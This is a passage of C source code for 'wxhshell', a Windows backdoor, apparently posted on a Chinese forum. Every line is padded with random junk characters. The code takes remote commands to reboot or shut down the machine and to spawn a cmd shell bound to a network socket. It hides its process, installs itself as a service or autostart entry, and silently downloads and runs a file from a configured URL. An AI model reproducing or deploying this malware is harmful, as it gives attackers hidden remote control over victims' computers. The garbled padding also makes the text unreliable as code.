  case '?': { |K|h+fgG6*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g'|MA~4yB  
    break; 3dRr/Ilc  
  } cJL'$`gWf  
  // 安装 4`8<   
  case 'i': { r!{LLc}>  
    if(Install()) &[ ;HYgp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6A=8+R'`F  
    else 1M}&ZH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :G<E^<M\)^  
    break; !1G."fo  
    } S!sqbLrBn  
  // 卸载 $VxA0 =ad  
  case 'r': { .({smN,B  
    if(Uninstall()) q| LDo~H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Co3:*nbRv  
    else 17OH]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = hN !;7G  
    break; }ga@/>Sl&  
    } S*,rGCt'T  
  // 显示 wxhshell 所在路径 wW/7F;54  
  case 'p': { P:N1#|g  
    char svExeFile[MAX_PATH]; 0s>/mh;  
    strcpy(svExeFile,"\n\r"); | a# f\  
      strcat(svExeFile,ExeFile); eVM/uDD  
        send(wsh,svExeFile,strlen(svExeFile),0); dF~8XYo  
    break; >~Qr  
    } /mK?E5H'r1  
  // 重启 &zuG81F6  
  case 'b': { KR%{a(V;7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bk\yCt06y;  
    if(Boot(REBOOT)) p+Y>F\r&w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <dvy"Dx   
    else { + Q6l*:<|c  
    closesocket(wsh); Zw~+Pb  
    ExitThread(0); uy}%0vLo  
    } `3Uj{w/Q:L  
    break; yOwA8^q  
    } s\P2Bp_{  
  // 关机 2^^=iU=!<|  
  case 'd': { d`/tE?Gw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); G7CG~:3h+  
    if(Boot(SHUTDOWN)) zH*KYB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %zO h  
    else { d%0~c'D8a  
    closesocket(wsh); MX ;J5(Ae  
    ExitThread(0); FEJ~k1z  
    } EMc;^ d  
    break; DK oN}c  
    } $/7pYl\n  
  // 获取shell +Lnsr\BA  
  case 's': { ku..aG`  
    CmdShell(wsh); hnznp1[#@  
    closesocket(wsh); wGZR31  
    ExitThread(0); \{EpduwZ  
    break; &wB\ ~Ie-  
  } :(H>2xS,s  
  // 退出 %H+\>raLz  
  case 'x': { b%Eei2Gm%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >B>CB3U  
    CloseIt(wsh); BY]i;GVq  
    break; p^pOuy8  
    } OGY"<YH6  
  // 离开 chEn|>~  
  case 'q': { A=j0On  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Wn>@9"  
    closesocket(wsh); L =8+_0  
    WSACleanup(); ?Q72;/$  
    exit(1); i:l<C  
    break; ":nQgV\ 9  
        } $*W6A/%O  
  } ~M(5Ho  
  } _fwb!T}$  
h/,${,}J  
  // 提示信息 bUY>st'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `w.AQ?p@  
} {Ixg2=E\  
  } X7g3  
8Mbeg ,P  
  return; ~I(Hc.Q  
} E{2Eoj;gq  
+GAf O0  
// shell模块句柄 "rAY.E]  
int CmdShell(SOCKET sock) oY=q4D  
{ s<]&*e&}?  
STARTUPINFO si; -uH#VP{0M  
ZeroMemory(&si,sizeof(si)); 8x[YZ@iM-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /NFz4h =>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bTSL<"(]N  
PROCESS_INFORMATION ProcessInfo; >g;kJe  
char cmdline[]="cmd"; Ia'ZV7'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Gxa x2o  
  return 0; sk|=% }y  
} |0,vQv  
$.:mai  
// 自身启动模式 W k}AmC  
int StartFromService(void) X.TI>90{  
{ nJbbzQ,e  
typedef struct (S^8UV  
{ Ou>vX[{  
  DWORD ExitStatus; )}L??|#  
  DWORD PebBaseAddress; BJS-Jy$-  
  DWORD AffinityMask; ~j'l.gQb  
  DWORD BasePriority; "p3_y`h6+  
  ULONG UniqueProcessId; 9TAj) {U%'  
  ULONG InheritedFromUniqueProcessId; I_q~*/<h  
}   PROCESS_BASIC_INFORMATION; ')N{wSM9Ft  
A$WZF/x  
PROCNTQSIP NtQueryInformationProcess; ~xIj F1Z  
Hp|}~xjn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v0Ir#B,[H  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]p!Gt,rYq  
-TV?E%r  
  HANDLE             hProcess; cc44R|Kr$$  
  PROCESS_BASIC_INFORMATION pbi; n$:IVX"2b  
"+uNmUUnm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ap$y%6  
  if(NULL == hInst ) return 0; > MG>=A  
UgN28YrW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x^*1gv $o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j:bgR8 %e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  a1j.fA  
_Zc%z@}  
  if (!NtQueryInformationProcess) return 0; vEG'HOP  
fKtV '/X;Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c={Ft*N  
  if(!hProcess) return 0; HWm#t./  
 2Cg$,#H  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4m-I5!=O  
8by@iQ  
  CloseHandle(hProcess); Y $-3v.  
9,]5v +  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?tg  y|  
if(hProcess==NULL) return 0; 5yVkb*8HS  
V|>oGtt7  
HMODULE hMod; gLsU:aeCT  
char procName[255]; fj,m  
unsigned long cbNeeded; KL'zXkS  
<:|3rfm#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tU/k-W3X  
q:8_]Qt  
  CloseHandle(hProcess); voe7l+Xk  
F%rHU5CkV  
if(strstr(procName,"services")) return 1; // 以服务启动 8Q)@  
u z\0cX_  
  return 0; // 注册表启动 q/1Or;iK  
} z}Jr^>  
s4H2/EC  
// 主模块 '!1$9o^$  
int StartWxhshell(LPSTR lpCmdLine) [/RM=4Nh5  
{ !q"CV  
  SOCKET wsl; l?*r5[O>n  
BOOL val=TRUE; ZlKw_Sq:  
  int port=0; W9zE{)Sc~  
  struct sockaddr_in door; iK_c.b  
5y4u5Tm-%  
  if(wscfg.ws_autoins) Install(); y/c%+ Ca/  
kWj \x|E  
port=atoi(lpCmdLine); ,572n[-q  
X%9*O[6{  
if(port<=0) port=wscfg.ws_port; 4F MAz^  
Br d,Eg  
  WSADATA data; Cz^Q5F`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2yo cu!4l  
:1 )DqoAJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   O''y>N9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o0z67(N&g  
  door.sin_family = AF_INET; W2wpcc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4O{Avt7C  
  door.sin_port = htons(port); =wq;@'U  
r(2 R <A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'PWQnt_U  
closesocket(wsl); s4T}Bs r  
return 1; =sOo:s  
} &GWkq>  
'b"TH^\  
  if(listen(wsl,2) == INVALID_SOCKET) { #Tp]^ n  
closesocket(wsl); Cpx+qQt0  
return 1; m|svQ-/j  
} f0Hq8qAF;^  
  Wxhshell(wsl); y:}sD_m0W  
  WSACleanup(); {fSf q&o  
1q.(69M  
return 0; p D=w >"  
tu%[p 4   
} >adV(V<  
Ov9 Q?8KzM  
// 以NT服务方式启动 _ :^ 7a3I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qS8B##x+=  
{ >[a<pm !  
DWORD   status = 0; 'i>xf ^  
  DWORD   specificError = 0xfffffff; CL7Nr@  
~0-g%C?R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?q91:H   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RHNk%9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #%S0PL"x U  
  serviceStatus.dwWin32ExitCode     = 0; kB\kpW  
  serviceStatus.dwServiceSpecificExitCode = 0; $(HjI \%l^  
  serviceStatus.dwCheckPoint       = 0; ?$%%Mp(  
  serviceStatus.dwWaitHint       = 0; RB3 zHk%  
yi!`V.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); keqcV23k  
  if (hServiceStatusHandle==0) return; >[*4Tjg  
rj  H`  
status = GetLastError(); So4nJ><p  
  if (status!=NO_ERROR) s'_,:R\VM>  
{ ms~8QL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )fh0&Y; R  
    serviceStatus.dwCheckPoint       = 0; et$uP  
    serviceStatus.dwWaitHint       = 0; +2T! z=  
    serviceStatus.dwWin32ExitCode     = status; WtX>Qu|  
    serviceStatus.dwServiceSpecificExitCode = specificError; oO=o|w|T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7!2 HNg  
    return; BgRZ<B`  
  } E20 :uZ7\  
 U w Eiz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U=!@Db5k~  
  serviceStatus.dwCheckPoint       = 0; &2.+I go|G  
  serviceStatus.dwWaitHint       = 0; C}CKnkMMD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V,LVB_6  
} m4/}Jx[  
p#H]\ P'  
// 处理NT服务事件,比如:启动、停止 @"1}16b#f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d# T?Q_3b  
{ [BXyi  
switch(fdwControl) uu}-"/<~7  
{  wRVD_?  
case SERVICE_CONTROL_STOP: 30 7fBa  
  serviceStatus.dwWin32ExitCode = 0;  ^Omfe  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |f NMs  
  serviceStatus.dwCheckPoint   = 0; kX8=cL9G  
  serviceStatus.dwWaitHint     = 0; l_+A5Xy  
  { A4_>LO_qL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :)P<jX-G  
  } ,$Tk$  
  return; Vm!i  
case SERVICE_CONTROL_PAUSE: eoJ]4-WFq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cgyo_ k  
  break; 4 iH&:Al  
case SERVICE_CONTROL_CONTINUE: l \}25 e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GNghB(  
  break; .[f;(WR  
case SERVICE_CONTROL_INTERROGATE: |U=(b,  
  break;  .fJ*c  
}; g@E&uyM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YsAF{  
} k|#Zy,  
#?m{YT{P  
// 标准应用程序主函数 -2lRia  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *ro.mQ_  
{ 3A R%&:-  
){tPP$-i=  
// 获取操作系统版本 |s`Kd-'|q  
OsIsNt=GetOsVer(); !0dX@V'r  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @)z*BmP  
;E's4jWq  
  // 从命令行安装 _0]QS4a][c  
  if(strpbrk(lpCmdLine,"iI")) Install(); uL>:tb  
@"8~Y|L93  
  // 下载执行文件 8_iHVc;<  
if(wscfg.ws_downexe) { t F/nah  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .&(8(C  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4e/cqN 6  
} sV'v* 1|  
|#cAsf_{  
if(!OsIsNt) { 9cOx@c+/  
// 如果时win9x,隐藏进程并且设置为注册表启动 E$T(Qu<-  
HideProc(); A\C'dZ <N  
StartWxhshell(lpCmdLine); 'bm:u  
} IHVMHOq}'  
else tw86:kYEz  
  if(StartFromService()) {]M>Y%j48  
  // 以服务方式启动 .93S>U<_  
  StartServiceCtrlDispatcher(DispatchTable); Ma_=-cD  
else bs:QG1*.  
  // 普通方式启动 2[BA( B  
  StartWxhshell(lpCmdLine); uRGB/ju^E  
,TJ/3_lH  
return 0; =kO@Gk?  
}
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只看该作者 1 发表于: 2006-10-10
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